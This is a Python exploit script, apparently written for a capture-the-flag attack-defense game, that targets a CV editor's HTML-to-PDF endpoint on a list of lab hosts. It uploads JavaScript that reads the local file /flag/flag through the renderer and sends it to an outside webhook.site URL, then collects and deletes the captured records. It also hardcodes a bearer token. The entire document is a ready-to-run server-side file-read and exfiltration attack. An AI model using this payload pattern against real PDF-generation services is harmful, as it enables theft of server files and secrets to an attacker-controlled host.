DF-CV-EDITOR (use webhook)

DF-CV-EDITOR.py

import requests

host_list = ['192.168.125.133:8080', '192.168.125.133:8080', '192.168.125.133:8080']

token = "bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo0Niwicm9sZSI6MCwiZXhwIjoxNjk2NTkwNTA3fQ.ruxiM4oa6TkauGFnzDDbJ0X7p0xF7OKR-_oe1uiJ_94"


def delete_old(uuid_record):
    burp0_url = f"https://webhook.site:443/token/264da7dc-9592-468a-bd78-e9b9a3b98ee6/request/{uuid_record}?password="
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0",
                     "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5",
                     "Accept-Encoding": "gzip, deflate, br", "Origin": "https://webhook.site",
                     "Referer": "https://webhook.site/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors",
                     "Sec-Fetch-Site": "same-origin", "Te": "trailers", "Connection": "close"}
    requests.delete(burp0_url, headers=burp0_headers)


def create_pdf(host):
    burp0_url = f"http://{host}/cv-editor/pdf.php"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0",
                     "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br",
                     "Referer": "http://192.168.125.133:8080/cv-editor/",
                     "Content-Type": "multipart/form-data; boundary=---------------------------4100724926101828352567696136",
                     "Origin": "http://192.168.125.133:8080", "Connection": "close"}
    burp0_data = "-----------------------------4100724926101828352567696136\r\nContent-Disposition: form-data; name=\"_\"; filename=\"1697027619306.html\"\r\nContent-Type: application/octet-stream\r\n\r\n<script>\r\n    x = new XMLHttpRequest();\r\n    x.open(\"GET\",\"file:///flag/flag\");\r\n    x.send();\r\n    x.onload = function(){\r\n    document.write(responseText);\r\n\t    k = new XMLHttpRequest();\r\n\t\t\tvar responseText = this.responseText;\r\n\t\t\tvar webhookURL = \"https://webhook.site/264da7dc-9592-468a-bd78-e9b9a3b98ee6\";\r\n\t\t\tvar link_flag = webhookURL + \"?flag=\" + responseText;\r\n\t    k.open(\"GET\",link_flag);\r\n\t    k.send();\r\n}\r\n</script>\r\n\r\n-----------------------------4100724926101828352567696136--\r\n"
    requests.post(burp0_url, headers=burp0_headers, data=burp0_data)


def get_flag():
    burp0_url = "https://webhook.site:443/token/264da7dc-9592-468a-bd78-e9b9a3b98ee6/requests?page=1&password=&query=&sorting=newest"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0",
                     "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5",
                     "Accept-Encoding": "gzip, deflate, br", "Referer": "https://webhook.site/",
                     "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin",
                     "Te": "trailers", "Connection": "close"}
    r = requests.get(burp0_url, headers=burp0_headers)
    if r.json()["total"] > 0:
        datas = r.json()["data"]
        for data in datas:
            print("{} | {}".format(data["created_at"], data['query']['flag']))
            delete_old(data["uuid"])


def run_all():
    for host in host_list:
        create_pdf(host)
        get_flag()


run_all()